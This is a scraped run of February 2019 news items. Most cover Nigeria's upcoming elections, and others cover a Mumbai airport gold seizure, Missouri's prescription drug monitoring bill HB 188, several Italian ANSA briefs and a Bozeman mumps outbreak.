As much as we need to pray for violence-free elections, which is why the Catholic Bishops directed all Catholics to fast from Wednesday to Friday, in addition, we must also come out and vote; it is our right, for prayer without work is dead, so, praying and keeping away is worthless,  he said.

Similarly, Rev Fr. Andrew Ogidan, serving in Lekki, urged the patriotic faithful to go out and vote wisely without external influence.

Dont sell your vote and conscience for any cost, it is not worth it; be yourself and please your choice, he said.

Another cleric, the priest in charge of Saint Maria Gorretti, Abaranje, Rev. Fr Gabriel Udoh, said that no one should fall prey to deceit in casting his or her ballot.

Dont sell your vote for a cup of rice or money; four years is bigger than a cup of rice, dont be deceived by party publicity, rather, research on the candidates and then vote right.

READ ALSO: UPDATE: CCT orders police, DSS to arrest suspended CJN Onnoghen

Your vote is your power, your future, it determines your welfare in the next four years. Vote out any government or individual that will not represent your interest.

Be it the interest of your children, the church and the nation at large, it is important to be part of this decision, he said.

Udoh said Nigeria deserved the best because it was richly blessed with maximum potentialities.

Another cleric in charge of Christ the King Parish, Akure, Rev. Fr Clement Oddiah, described voting as a civic duty that should be taken seriously.

Politicians remain friends no matter the divisions, they dont die but only defect when their interests are threatened, we should endeavour to vote as it pleases our consciences, he said.

According to Rev. Fr. Bernard Ngwu (MSP), there will be a new Nigeria if its citizens are able to decide, because God has promised that He will create new heavens and new earth in the scripture.

He said it was left for citizens to go and vote, bearing in mind that bad government would only be elected by good citizens who refuse to cast their votes.

An election is a formal group decision-making process by which a population chooses an individual to hold public office, as was operated since the 17th century.

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Every Nigerian of over 18years of age is required by law to participate fully in all the elections, Oddiah said.

He said that some countries made voting compulsory to the extent that failure to vote was punishable.

The cleric said that many countries such as Greece, Australia, Brazil and even Nigeria hold their elections on the weekends, especially on Saturdays, to encourage higher turnout of voters.

I join the voice of the Catholic Bishops Conference of Nigeria (CBCN) to make an appeal for special prayer, to turn to God in prayer and especially at this trial times.

 Let us continue in prayer for our brothers and sisters who are seeking elective positions and for free and fair elections, to fulfil the promise of God for a new Nigeria, he said.

Meanwhile, the National Youth Service Corps in Osun has warned politicians and their supporters against intimidation, harassment and attack of corps members deployed as INEC ad-hoc staff, during the general elections in the state.

Emmanuel Attah, the state coordinator of NYSC, gave this warning during an interview with the News Agency of Nigeria (NAN) in Osogbo on Wednesday, February 13.

According to Attah, NYSC frowns at any form of violence and will not tolerate any act of intimidation, harassment and attack of any corps member before, during or after the elections.

NAIJ.com (naija.ng) -> Legit.ng. We have upgraded to serve you better.

Sowore, Fela Durotoye, Buhari; who will Nigerian youths vote for? | Legit TV

Source: Legit- The NSCDC has warned the public against violence during and after the coming elections, saying anyone caught will be prosecuted

- The commandant of the NSCDC called on religious leaders and traditional rulers to talk to their followers

- The command in Gombe said it would deploy over 700 personnel for the election

The Nigeria Security and Civil Defense Corps (NSCDC) in Gombe state on Tuesday, February 12, warned the general public against any violence during and after announcement of results of the forthcoming general elections.

Altine Umar, the state commandant of the Corps gave the warning while briefing newsmen in Gombe on Wednesday, February 13.

She said the command would deploy over 700 personnel for the election and anyone caught causing violence would be prosecuted.

READ ALSO: We have decided to support Atiku - 2 presidential candidates drop ambition

The commandant called on religious leaders and traditional rulers to talk to their followers to be law abiding towards ensuring free, fair, credible and peaceful elections.

She also called on politicians to be law abiding and accept the outcome of the elections in good faith as there must be a winner and loser in every contest.

I want to assure the public that the election will be peaceful going by the synergy among the security agencies in the state.

We all prepared for the forthcoming elections in the state and there will be no compromise in the discharge of our duty.

We have good synergy with all the security agencies in the state, all we need is a free, fair, credible elections in the state and Nigeria," she said.

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Meanwhile, Legit.ng earlier reported that the police command in Enugu warned individuals and groups to desist from discouraging Nigerians, especially the residents of Enugu from voting in the forthcoming general elections.

The presidential, National Assembly, governorship and state Assembly elections will be held on February 16 and Saturday, March 2.

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2019 Election: New IGP Speaks Tough | Legit TV

Source: Legit.ng- INEC has been charged by a lawmaker, Labari Tella, on the need for transparency in the coming elections

- According to Tella, the electoral body has the biggest responsibility to ensure the election is free and fair

- The lawmaker asked the commission's officials to be tolerant of voters so that law and order is maintained

Labari Tella, a member representing Jemaa local government at the Kaduna state House of Assembly, has tasked the Independent National Electoral Commission (INEC) on the need to be transparent in its conduct of the forthcoming general elections.

Tella told the News Agency of Nigeria (NAN) on Wednesday, February 13, in Kafanchan that the electoral umpire should live up to its expectation and not betray the confidence reposed in it by Nigerians.

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INEC has the onus to either make or mar the entire process, as such it must prove to Nigerians a high level of transparency and equity in the discharge of its responsibility," he said.

He urged officials of the commission, particularly its field workers, to tolerate likely excessive behaviours by voters and not to react in ways that could lead to breakdown of law and order.

I wish to plead with INEC staffers who would be stationed at the various polling units to be civil enough with the electorate and cooperate with security agencies to avoid any form of rancour," he said.

The lawmaker, however, admonished Nigerians and his constituent in particular on the need to exhibit maturity and conduct themselves orderly during and after the elections.

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He said the people should vote wisely for candidates of their choice and not to give in to material aggrandizement by sacrificing their future on the altar of greed.

Tella called on the various candidates to approach the polls with the spirit of sportsmanship and accept the results in good faith, adding that those aggrieved should seek redress through judicial process.

Meanwhile, Legit.ng previously reported that the resident electoral commissioner for Delta, Dr Cyril Omorogbe, on Tuesday, February 12, reiterated that the INEC has zero tolerance to vote buying and other electoral malpractices.

Omorogbe restated this at a stakeholders meeting held in collaboration with security agencies, under the auspices of Inter-Agency Consultative Committee on Election Security (ICCES) for 2019 general elections in Asaba.

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2019 Elections: Sirleaf Meets With INEC Chairman | Legit TV

Source: Legit.ng- The UN has said that it will stand by its resolve to support peaceful and hitch-free elections in Nigeria

- Mohamed Ibn Chambas, the special representatives of the UN, urged Nigerian politicians to resolve election-related disputes

- Chambas also expressed concern over the low number of youths and women fielded by political parties in the country

A special representative of the UN secretary-general for West Africa and the Sahel, Mohamed Ibn Chambas, has called on politicians to avoid hate speech and politics of acrimony that may undermine peaceful conduct of election, social and national cohesion.

The envoy made the call on Tuesday, February 12, in Ilorin in an address delivered at the high level dialogue on peaceful election in Kwara.

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The News Agency of Nigeria (NAN), reports that the dialogue was jointly organised by the UN and national peace committee headed by the former President Abdulsalami Abubakar.

I hope that all of us will work together to ensure that Kwara upholds its status as the State of Harmony by making sure harmony reigns throughout the election period.

I will like to reiterate UNs resolve to support initiatives at both the state and federal levels, in alignment with regional efforts aimed at promoting peaceful election and democratic consolidation in Nigeria.

We are convinced that with the support of all of you, the state, and indeed Nigeria, will deliver credible, transparent, free, inclusive and peaceful 2019 election, and Nigeria will emerge the winner, the envoy added.

Chambas commended the organisers of the dialogue, adding that the UN would continue to support the National Peace Committee (NPC) to sensitise and promote confidence building among stakeholders involved in the electoral process in Nigeria.

According to him, the goal of the dialogue is to mobilise stakeholders towards peaceful election, build on existing initiatives, and take measures to strengthen mutual confidence among stakeholders and political actors.

He appealed to politicians to proactively and peacefully resolve any election-related disputes with utmost regard to the rule of law and due process.

Chambas commended governorship candidates in the state for signing the peace accord in December 2018 in the presence of the officials of the Independent National Electoral Commission (INEC).

He commended all stakeholders in the election process in the state including INEC, the national human rights commission, security agencies, civil society organisations, religious and traditional leaders, and the media, for their commitment to the peaceful conduct of the forthcoming election.

Your presence here today is an affirmation of the resolve to continue to sensitise all involved and re-commit to the tenets of democracy, fair play, and to use peaceful means grounded in the rule of law to address any election-related complaints that might ensue.

It is this democratic spirit that has motivated my engagements with political stakeholders throughout the electoral cycle, the envoy said.

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Chambas however expressed concern over the low numbers of women and youth contesting various positions in the state.

I have also observed that the number of women and youth candidates fielded by political parties is far lower than expected of Nigeria with a large number of women voters and enthusiastic youths eager and willing to take part in nations building as responsible leaders. All hands should be on deck to improve upon this in future election, the envoy added.

Meanwhile, Legit.ng reported that the United States (US) had said that widespread vote-buying could mar Nigeria's forthcoming general elections.

The warning was given by the US deputy representative to the United Nations, Jonathan Cohen, during a UN security council meeting on West Africa, on Thursday, January 10.

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Nigeria Latest News: Not Too Young to Run Pay a Visit to APC and PDP | Legit TV

Source: Legit- Hajj reforms embarked upon by President Buharis administration has saved Nigerian pilgrims over N90 billion between 2015 and 2018

- According to the National Hajj Commission of Nigeria, the federal government abolished pilgrims sponsorship that used to cost about N1.6 billion annually during the reforms

- NAHCONs spokesperson, Fatima Sanda Usara, said N229 million was saved through querying of local fees imposed on pilgrims

The National Hajj Commission of Nigeria (NAHCON) disclosed that the reforms that President Muhammadu Buharis administration embarked upon has saved Nigerian pilgrims over N90 billion between 2015 and 2018.

Daily Trust reports that NAHCONs spokesperson, Fatima Sanda Usara, made this known during an interactive session with newsmen in Abuja.

Usara stated that the hajj operations, during the previous administration, enmeshed in corrupt practices, which she said, included BTA dollar fraud, fraud in dollar concession and profiteering in the name of government sponsorship.

READ ALSO: We have decided to support Atiku - 2 presidential candidates drop ambition

She added that the corrupt practices were brought under control as a result of various reforms introduced by the Buhari administration.

Giving the breakdown of the figures, Usara said through discontinuation of dollar concession, N75 billion was saved in 2017.

During the period of Buharis reform, she said the federal government abolished pilgrims sponsorship that used to cost about N1.6 billion annually.

She said: $14 million was saved when NAHCON introduced direct accommodation negotiation with homeowners in 2017. Each pilgrim would have paid 746 Riyals extra."

According to her, Nigerian pilgrims would have been defrauded N1.6 billion but for the designation of Jaiz Bank in conjunction with the Islamic Development Bank as the official Hadaya agents.

In 2018, she said N229 million was saved through querying of local fees imposed on pilgrims. According to her, For poorly rendered services during Hajj, pilgrims were refunded N1.5 billion in 2016 and due to improved services in 2017, it came down to N526 million.

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Usara, however, listed some of the reforms introduced by the commission to include unified operations in Saudi Arabia under national teams, reduced number of ad-hoc staff from 2000 to 500, and the introduction of penalties on air carriers that abandoned pilgrims.

Meanwhile, Legit.ng had reported that the National Hajj Commission of Nigeria transported 34,978 pilgrims in 90 flights to the Kingdom of Saudi Arabia for the year 2018 Hajj exercise.

That was disclosed on Wednesday, August 15, by the commissions command control unit, which disseminates each airlift from various international Airports in Nigeria.

The airlift of pilgrims which is expected to end this Friday, August 17, is being carried out by two local airlines, Max and Medview, and a Saudi Arabian owned Flynas Air.

NAIJ.com (naija.ng) -> Legit.ng: We have updated to serve you better!

Eid-el-Kabir: Why the ram killed must not exceed three days in your house - On Legit.ng TV:

Source: Legit- Samuel Brownback says the whole world is watching the way Nigeria's general election would be organised

- Brownback pleads with religious leaders in the country to preach against violence during the elections

- The US envoy emphasises that peaceful elections in Nigeria is necessary for the country's progress

Samuel Brownback, the United States ambassador at-large for international religious freedom, has challenged religious leaders in Nigeria to send out clear messages that discourage violence during the general elections.

The News Agency of Nigeria (NAN) reports that Brownback gave the advice at a news conference on international religious freedom, with an emphasis that said the whole world was watching the Nigerias general elections scheduled for February 16 and March 2.

My advice to religious leaders is to suggest to everybody for there to be a calm election, a peaceful election, and no violence in the election.

And I would ask all the religious leaders in Nigeria to put that message out: that people get out and vote, but that it be calm and peaceful and no violence.

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That this is a right that everybody in Nigeria has to vote.

It should be exercised, but it shouldnt be something that people then are threatened with violence or deadly force in various places, and the religious leaders have a role to play and a strong role to play asking for people to do this election peacefully.

The world is watching. Nigeria is an important, incredibly important country, and its important throughout the world. Its certainly a key country in Africa.

And what you do on having a peaceful election cycle is an important thing for the progress in Nigeria.

And the religious leaders should be just adamant about that this must be peaceful. We do these things peacefully and we showcase that to the world, he said.

Brownback explained that he came to Nigeria for several days recently and went to the middle belt and the southern part of the country.

I tracked the situation very closely.

The United States Government is strongly concerned that there be free and fair elections, and that they be safe elections  that the factions vote, but not attack each other.

And that the government itself thats in power now do everything they can to protect the people, to make sure that theyre safe, he said.

Recalling the discussions Nigerian President Muhammadu Buhari held with his American counterpart, Donald Trump, when the former visited the White House in 2018, the envoy said: And so we  our focus is that they be free and fair elections, and that they be safe, and that every effort be made to make sure that people are safe in these elections as they come up.

We have a religious freedom roundtable here, and were taking that concept on a global basis and asking all different faiths, or people of no faith at all but that are interested in religious freedom, to join these religious freedom roundtables, to push for religious freedom and respect for all faiths in those countries.

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The first one of those has been held in Nigeria now, and it brought together people of various faith persuasions and free thinkers as well, and it was on the topic of, what can we all do to push together for religious freedom, for respect of each others religion, and for the safety and security of the people that practice their faith.

Thats gotten started; its just getting going.

But its our hope that some of these can take place in many places around the world because of the need, really, to expand religious freedom and the protection for all people of faith wherever they are.

Legit.ng earlier reported that Stuart Symington, United States Ambassador to Nigeria, said the future of the country depends on the forthcoming general elections as he urged the institutions of government to promote credible and peaceful polls.

Symington made this known after meeting with the Rivers state governor, Nyesom Wike, at the Government House, Port Harcourt.

NAIJ.com (naija.ng) -> Legit.ng. We have upgraded to serve you better.

A new king will emerge to restore Nigeria - Prophetess Judith| Legit TV

Source: Legit- Some sources in the PDP are claiming that chieftains of the APC are reaching out to Alhaji Atiku Abubakar

- According to them, the APC stalwarts may have sensed that the PDP presidential candidate is about to win the forthcoming polls

- Atiku's spokesman, Paul Ibe, however refused to comment on the authenticity of the claims

Multiple sources in the Peoples Democratic Party (PDP) are claiming that chieftains of the ruling All Progressives Congress (APC) are reaching out to Alhaji Atiku Abubakar in anticipation that the former vice president would win the 2019 presidential election.

According to them, the APC stalwarts have been holding secret meetings with the PDP presidential candidate with a view to working out exit deals.

Atiku has the momentum now and the wise thing to do politically is to consider options after all in politics there is no permanent friend or permanent enemy, one of them told Legit.ng.

Among those reaching out to the Atiku's camp, according to the sources who prefer to be anonymous, are two senior ministers in the APC-led federal government and a senior member of the party.

These three APC henchmen believe that the best option left for them is to start early to work out a contingency plan, which if concretised may see them work secretly to deliver Atiku come Saturday, February 16.

READ ALSO: INEC releases electoral offences ahead of 2019 elections (Full list)

There are also talks of a famous Lagos politician considering the option of working with the PDP presidential candidate, according to the sources.

There have been rumours that Atiku has gotten the backing of western countries in his quest to be Nigeria's leader.

In the last few weeks, the PDP presidential candidate has continued to surge far ahead over incumbent President Muhammadu Buhari of the APC in both internal and foreign polls.

This may have caused panic in the camp of the ruling party and many attempting to jump ship through the back door before the elections.

On Monday, February 11, New York -based financial analysts, Citigroup, predicted that Nigerias stock market may rally if President Muhammadu Buhari loses this weekends election.

The reported posted on Bloomberg noted that the nation's stock market will recover, ending a run thats seen it fall more than any other in the world in dollar terms since Buhari came to office in May 2015.

Similarly, the Financial Times of London recently indicated that President Muhammadu Buhari is battling perception of frailty as Nigeria prepares for the 2019 general elections.

The London-based international newspaper in an article published on its website on Saturday, February 9, says there are concerns if Buhari is physically or mentally up to running Nigeria for another four years.

The Financial Times article was published days after another British media outfit, the BBC, described Atiku as Nigeria's political operator with the Midas touch.

Meanwhile, a prediction by Williams and Associates says Atiku will win the election.

The prediction is the result of a field work conducted by the US-based pollster, which was posted on its website on Monday, February 4.

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The pollster had, in a similar field work in 2015, accurately predicted the defeat of former President Goodluck Jonathan in the last presidential election.

When contacted, Mr Paul Ibe, spokesman of Atiku, declined to comment, saying he is not in a position to speak on such issues.

NAIJ.com (naija.ng) -> Legit.ng. Same great journalism, upgraded for better service!

Nigeria Latest News: Buhari vs Atiku - 2019 Elections | Legit TV

Source: Legit.ng- INEC has reacted to the presence of some governors from Niger Republic at President Buhari's campaign rally in Kano

- The commission said, contrary to the allegations by the PDP and others, the Nigerien governors' presence does not violate any law

- The electoral body also told the PDP that it does not have the power to disqualify President Buhari as the opposition party had demanded

The Independent National Electoral Commission (INEC) has reportedly said that the presence of some governors from Niger Republic at President Muhammadu Buharis campaign rally in Kano state did not violate any Nigerian law.

Legit.ng had reported that two governors from the Niger Republic, Issa Moussa of Zinder and Zakiri Umar of Maradi, were present at President Buharis campaign in Kano.

The visit had triggered criticisms from the Peoples Democratic Party (PDP) and some other Nigerians who described it as a form of foreign interference in the electoral process.

READ ALSO: Just in: Again, EUI says Atiku of PDP will win presidential election

Uche Secundus, national chairman of the Peoples Democratic Party (PDP) asked INEC to disqualify Buhari from the presidential election over the development.

They came with monies and mercenaries to influence elections in Nigeria, Secondus alleged.

However, The Cable reports that the INEC director of Voter Education and Publicity, Oluwole Osaze-Uzzi, in an interview said the Nigerien governors presence at the APC rally in Kano does not violate the law as far as I am aware.

Osaze-Uzzi said the law only prohibits foreigners direct involvement in the electoral process.

They are not allowed to participate as either candidates or voters, he was quoted to have said.

But they can only observe the process. As far as I am concerned, their presence does not violate the constitution.

He also said the commission has no powers to disqualify the president as the PDP demanded, adding that only the courts have such power.

INEC has no power to disqualify any candidate, he said.

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Meanwhile, Legit.ng previously reported that INEC assured Nigerians that it would investigate the federal government's TraderMoni micro-credit scheme.

The electoral body said it had been alerted on concerns over vote buying by some politicians.

Speaking with journalists in Abuja on Thursday, January 31, the INEC chairman, Mahmood Yakubu, the commission would investigate the scheme for possible violation of campaign finance laws.

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What has changed in Nigeria since the last election? | Legit TV

Source: Legit NigeriaMumbai, February 13: Custom officials at Mumbai's International airport couldn't believe their eyes when they seized 44 gold bars of 500 gram each from a passenger at Mumbai airport. The value of the gold is estimated to be about Rs 7 crore. The passenger had reportedly landed from Dubai. Gold Worth over Rs 29 Lakh Seized from Jet Airways Flight: AIU.

The accused have been taken into custody by the airport authority. Investigations are underway to find out if this is the work of a bigger syndicate and if any gang is involved in this activity.

News agency ANI tweeted about the customs seize at the airport and also put up the picture.

See the Picture of the Gold Seized in the Video Below:

44 gold bars of 500 gm each seized from a passenger at Mumbai airport. Value of the gold was Rs 6,74,48,260 and the passenger had landed from Dubai. pic.twitter.com/03m8TkR0Bi  ANI (@ANI) February 13, 2019

On January 26, 2019, CISF personnel Kumar Vishal seized a gold bar weighing about 1 kg worth in Delhi which was worth Rs 30 lakhs at Terminal-1, IGI Airport, from the possession of Chinese national who was travelling to Dehradun. The accused was taken into custody by customs officials for further legal action.

(The above story first appeared on LatestLY on Feb 13, 2019 08:18 PM IST. For more news and updates on politics, world, sports, entertainment and lifestyle, log on to our website latestly.com).The Missouri House of Representatives voted on Monday, Feb. 11 to approve a statewide Prescription Drug Monitoring Program (PDMP) with House Bill 188, by a vote of 103 to 53. However, the issue is currently considered to have little chance in the state senate.

A similar bill (SB 155) sponsored by freshmen Senator Tony Luetkemeyer R-34 failed in committee because Senators remain concerned about privacy issues associated with any governmental database.

If HB 188 were approved by the Missouri Senate, the Narcotics Control Act would allow the Department of Health and Senior Services to establish a statewide Narcotics Control Program (often referred to as a Prescription Drug Monitoring Program, or PDMP) for monitoring the prescribing and dispensing of all Schedule II, III, and IV controlled substances to all Missouri citizens. Missouri is the only state in the U.S. that does not have a PDMP.

Nineteen amendments to HB 188 were written. Seven were filed, and all seven were defeated.

From the Lake of the Ozarks area, Rep. David Wood (R-58) and Rep. Rocky Miller Rep. (R-124) voted Yes on HB 188. Rep. Suzie Pollock (R-123) voted No on HB 188. Click here to see how your representative voted

Prescription Drug Monitoring At The Lake Meets Stiff Opposition From Citizens, Elected Officials A few counties in central Missouri are among the last holdouts against a prescription drug m

Opponents of HB 188 say PDMPs have not worked in other states, arguing government monitoring of individuals' prescription drug purchasing is an invasion of privacy and Fourth Amendment violation, with no useful outcome. Their main contention is that the private health information of law-abiding citizens could be compromised, sold, and possibly used against them.

PDMP advocate Missouri Representative Holly Rehder (R-148) is the sponsor of HB 188. Rehder testified in the House that the private prescription medication information of all Missouri citizens will be collected for use in Missouri and added to a national database.

Rehder claims HB 188 will combat prescription drug abuse, which is one of fastest growing epidemics in the U.S. She believes it will provide prescribers a tool to find and address abuses and subsequently cut down on "doctor shopping" (the practice in which drug abusers go from doctor to doctor to obtain more prescriptions).

However, according to The National Survey on Drug Use and Health: 2017 only 1.5 percent of all prescribed drugs were from prescriptions obtained from multiple doctors. In that case, out of 11.1 million misusers, or only 166,500 names nationwide would be flagged by a PDMP. At the same time, all law-abiding U.S. citizens, with legitimate health issues, would be monitored, under this new law.

In Missouri, many counties currently participate in a monitoring program administered by St. Louis County, but Camden and Morgan counties do not.

Dispenser Violation

HB 188 states that the DHSS must review information sent by dispensers and if there is reasonable cause to believe that a violation of the law or a breach of professional standards may have occurred, law enforcement, or the appropriate professional licensing board, must be notified. The dispenser could be fined $1,000 per occurrence.

The Chilling Effect

Monroe County Commissioner Ron Staggs has testified in 10 PDMP hearings. Setting up a database will not save lives, it will do just the opposite, Staggs said. It will kill more people due to unintended chilling effect consequences. The doctor will get nervous with all the scrutiny and cut back on the amount of prescriptions given to those who really need it. When the patient runs out of pain medications, they will suffer, or go to the black market to buy it, or worse, switch over to heroin and overdose.

Opponents also say a PDMP does nothing to treat the underlying cause of why a person is abusing drugs, or the underlying cause of their emotional or physical pain.

We need more drug treatment options, Missouri Representative Jared Taylor (R-139) said. The best way to deal with the drug deaths is to catch it in the emergency room. Most people who die from an overdose had at least one former visit to the ER. Identify them there and treat them. Doctors can already access that database.

Rep. Rehder says PDMPs have proven to be successful in increasing patient care and lowering overdose rates.

If PDMP works then why does the Center for Disease Control data reveal that the death rate from prescription drugs soared to record highs in 2017, after the implementation of a PDMP in St. Louis County? Taylor questioned. According to the CDC, out of 50 states, Missouri ranks 27th in opioid deaths, despite being the only state without a PDMP.

In his legislative newsletter to constituents, Wood downplayed opponents' concerns, saying the program was worth the "risk" that someone might see what prescription drugs he is using.

"The opposition is worried that information will be used inappropriately if a database is created and a small number of Senators have been able to stop the bills [sic] progress," he wrote.

"I have supported it each time and I have a few constituents that do not agree with that decision. I have talked to medical professionals in the district and all over the State and they believe this is necessary.

"I have attended conferences to learn about and how to deal with our opioid crisis and everyone recognizes that the PDMP is an important tool in our fight.

"I made the statement when I spoke in favor of this bill that if I have to risk someone finding out that I have a legal prescription that I am using in a legal way in order to find someone that needs help with an addiction then that is worth it."

Sharing Private Information

Each drug dispenser covered by the bill would be required to electronically send dispensation information to the database, including the prescription and patient information of each drug dispensed. The information sent will be confidential and the department will maintain procedures to assure the privacy and confidentiality of the information, Rep. Rehder assured. She insisted no PDMP database had ever been breached.

But according to Politifact, Virginia's prescription drug monitoring database was hacked in 2009. The hack and subsequent ransom note first appeared on Wikileaks, and the FBI has confirmed the PDMP database in Virginia was breached. The Associated Press reported on the story, but to date no arrests have been made. They had to notify more than 400,000 people that their data had been comprised and offer them indemnity for their issues, Staggs said.

There are also several lawsuits pending against St. Louis County for breach of data, Staggs added. The HIPPA violations will cost them $50,000, per occurrence.

If HB 188 is signed into law, however, some predict that lawsuit would be moot.

Rep. Mike Moon (R-157) filed an amendment that would have fined the department $25,000 if a persons information was disclosed, in addition to compensatory economic and non-economic damages, attorney fees and court costs. His amendment was voted down.

Who Has Access to the Information?

The bill states that the department may provide information collected to the dispensers, a professional licensing board, law enforcement and MO HealthNet. This information would be accessible to persons working in those offices as well.

A nurse in any doctors office can gain access to a patients private medical records and they do not even have to be their own patient, Staggs said. This could ruin a persons career through the distribution or selling of that information to the wrong people.

Rep. Taylor pointed out that pharmaceutical companies are also very interested in obtaining the prescription information of private citizens for marketing purposes.

The Fourth Amendment protects individuals from unreasonable search and seizure by the government, Rep. Taylor reminded his colleagues.

Some opponents cite concerns that the government would use a prescription drug database to determine who might have a mental illness, and seize their firearms.

Language specified in the bill states the information "cannot be used to prevent an individual from owning a firearm," but many legislators disagree.

If your name is on the database because you take these prescription medications, due to recent changes in the law, the FBI can use the PDMP database for background checks when you attempt to purchase a gun, Staggs said. One of these drugs may be for an injury and could exclude you from the ability to purchase a firearm and/or possibly cause the legal confiscation of your firearms. He said if a person stops taking the medication, the government still might not return the firearms, alleging the person is mentally unfit to own one.

The department may contract with another entity of their choosing to develop and maintain the Narcotics Control Program. Any program already in effect that is being operated by a political subdivision can continue to operate until the state-wide program is available for use. If the bill is approved, the proposed effective date will be Thursday, Aug. 8, 2019.

The bill will go through committees and a perfecting process and if approved it will then go before the Senate for a final vote. Senate contact information can be found at senate.mo.gov.Macerata, February 13 - The mother of Pamela Mastropietro, an 18-year-old killed and dismembered in January 2018, said Wednesday after a hearing that a fast-track trial is good so long as "all the truth comes out". "Because it was not only him," the woman, Alessandra Verni, said in reference to Innocent Oseghale, a 30-year-old Nigerian drug pusher accused of murdering Mastropietro in Macerata. Oseghale admitted to chopping up the 18-year-old Roman woman's body but not to her homicide. Mastropietro's dismembered body was found in two suitcases outside Pollenza near Macerata. Oseghale is accused of rape, homicide and trying to hide a body and contempt for a human corpse. Verni went on to say that "we have witness statements".Rome, February 13 - Bank of Italy Governor Ignazio Visco said Wednesday he thought the central bank was independent, saying "I do not see what the attack on its autonomy is" after Deputy Premiers Luigi Di Maio and Matteo Salvini said the top brass should be removed for failing to avert bank crises. "There is a sometimes uncertain vision on responsibility and there are those who say there cannot be independence and responsibility, you have to take that into account". He cited former central bank governor, premier and president Carlo Azegio Ciampi who he quoted as saying "we are in any case autonomous because what counts is the autonomy of judgement". Visco said there was already a law against using the central bank's gold reserves, as suggested by Salvini.Rome, February 13 - A journalist who was headbutted last year by a member of Ostia's Spada crime family was attacked again Wednesday along with his RAI crew by local inhabitants while filming a probe into clans in Pescara in Abruzzo. Daniele Piervincenzi, who is now a correspondent of the new Raidue show Popolo Sovrano (Sovereign People), was attacked along with filmmaker Sirio Tomassi and journalist David Chierchini. They were assaulted by residents of the Rancitelli district while working on an investigative report into "clans on the periphery of Pescara," the State broadcaster said. Piervincenzi's nose was broken in last year's attack by Roberto Spada while investigating the Ostia-based clan's alleged support for neofascist group CasaPound in the Roman coastal town. Piervincenzi also fronts coverage of Italian rugby matches on D-Max. "Luckily I only have a black eye, from a punch on my eyebrow. Fillmaker Sirio Tommasi got it worse, ending up in the ER for punches to his back, and journalist David Chierchini who suffered a leg injury," Piervincenzi told ANSA.Rome, February 13 - Msgr Nunzio Scarano, a former Vatican financial official who tried to fly 20 million euros back to Italy from Switzerland, was convicted of defamation and corruption on appeal Wednesday and given a three-year sentence. At the first instance trial, three years ago, Scarano was not convicted of corruption and got a two-year sentence only. Scarano, former accountant of the Holy See's asset-management agency APSA, wound up in jail in June 2013 on charges of corruption. The cases of his two alleged accomplices, former intelligence officer Giovanni Maria Zito and broker Giovanni Carenzio, were put into separate proceedings. Zito, having leased a plane to go to Switzerland, did not reportedly succeed in the mission to bring the money back to Italy. Scarano was accused of defamation for falsely accusing Zito of stealing a 200,000-euro cheque Scarano gave him as part of the alleged corruption.Rome, February 13 - Venezuelan opposition leader Juan Guaido on Wednesday hailed the Italian parliament's motion Tuesday calling for fresh elections there as soon as possible, saying it "recognises our struggle". He said "Italy joins the countries that recognise our struggle. We appreciate the statement of the Italian parliament in favour of reaching free elections in Venezuela. "The course we have proposed passes through the cessation of usurpation and the government of transition".Rome, February 13 - A journalist who was headbutted last year by a member of Ostia's Spada crime family was attacked again Wednesday along with his RAI crew by local inhabitants while filming a probe into clans in Pescara in Abruzzo. Daniele Piervincenzi, who is now a correspondent of the new Raidue show Popolo Sovrano (Sovereign People), was attacked along with filmmaker Sirio Tomassi and journalist David Chierchini. They were assaulted by residents of the Rancitelli district while working on an investigative report into "clans on the periphery of Pescara," the State broadcaster said. Piervincenzi's nose was broken in last year's attack by Roberto Spada while investigating the Ostia-based clan's alleged support for neofascist group CasaPound in the Roman coastal town. Piervincenzi also fronts coverage of Italian rugby matches on D-Max.Perugia, February 13 - Umbria Governor Catiuscia Marini thanked ANSA news agency for its efforts in helping promote the region at an event titled "Telling the story of excellence: ANSA news for spreading the best of Umbria in Italy and the world". The event, which was held on Wednesday at the Cucinelli Theatre in the medieval village of Solomeo, just outside Perugia, showed how ANSA is raising awareness of Umbria's many treasures to help spread news about the region to the world. ANSA's Umbrian headquarters also celebrated its 30-year-anniversary for the occasion. In addition to Marini, participants in the event included Umbrian fashion designer Bruno Cucinelli, ANSA President Giulio Anselmi, and ANSA Editor-in-Chief Luigi Contu. "ANSA provides news that tells the story of what a territory and its people express," Marini said. "I thank you all for how you are helping us tell the story of Umbria, which is on its feet after the earthquake, by promoting success stories that go beyond an agenda of critical issues," she said. Anselmi said ANSA is a news agency "that tries to bring together the larger world with the hometown square, by telling the stories of both with credibility". The city of Perugia was ANSA's fourth stop on a tour that has already visited Naples, Bologna, and Trieste. Anselmi noted that Umbria is among the five most well-known Italian regions in the world. "We want to let the entire world know about the positive things and the treasures Umbria has to offer," he said. "And we are doing it by focusing on accurate and credible news, which is important in a time of fake news," he said. Contu said the news business is going through a "unique moment". "If we think back to our initial launch in 1945, it already had the character of a tweet, and so we can say that we were already born digital," Contu said. "This digital challenge has led us to keep pace with the times, and to have 28 million unique users on the website, with all the correspondents in Italy who read about the country through the eyes of ANSA," he said.Rome, February 13 - European Parliament Liberal caucus leader Guy Verhofstadt will be out of a job after the May 26 European elections, Deputy Premier Matteo Salvini said Wednesday, a day after Verhofstadt called Premier Giuseppe Conte a "puppet" in the hands of Salvini and his fellow deputy premier, Luigi Di Maio. "After May 26 all these gentlemen will change jobs," said Salvini referring to Verhofstadt and other EP members who criticised the Italian government. Salvini went on: "in the Strasbourg assembly bumpkins and boors insulted a country, a far cry from Liberals". On Tuesday Salvini said Verhofstadt's jibe was "disgraceful".Rome, February 13 - The head of a parliamentary panel examining a request from magistrates to proceed with criminal charges against Deputy Premier and Interior Minister Matteo Salvini has proposed rejecting the request, sources said Wednesday. Magistrates in the Sicilian city of Catania have requested authorization from parliament to proceed with charges of alleged kidnapping against Salvini over his refusal to allow over 100 asylum seekers saved by the Coast Guard disembark from the Diciotti ship during a long standoff with the EU in August. League leader Salvini has said the case should not be allowed to proceed as he was doing his job as minister. Maurizio Gasparri, the head of the Senate's parliamentary immunity panel, said he thinks the request should be denied in his report to the body, the sources said. It is not yet clear how lawmakers for the League's coalition partner, the 5-Star Movement (M5S), will vote in regards to the magistrates' request.Rome, February 13 - Italian President Sergio Mattarella and French President Emmanuel Macron had a telephone conversation on Tuesday following the recent tension which saw Paris recalling its ambassador to Rome for consultations. "The two leaders reaffirmed the importance of Franco-Italian relations and recalled the common responsibility with respect to the European union," the French government said.BOZEMAN - Three cases of mumps are confirmed in children attending public schools, and health officials are investigating other possible cases.

Two students at Emily Dickinson Elementary and one at Chief Joseph Middle School are diagnosed with mumps, the health department says.

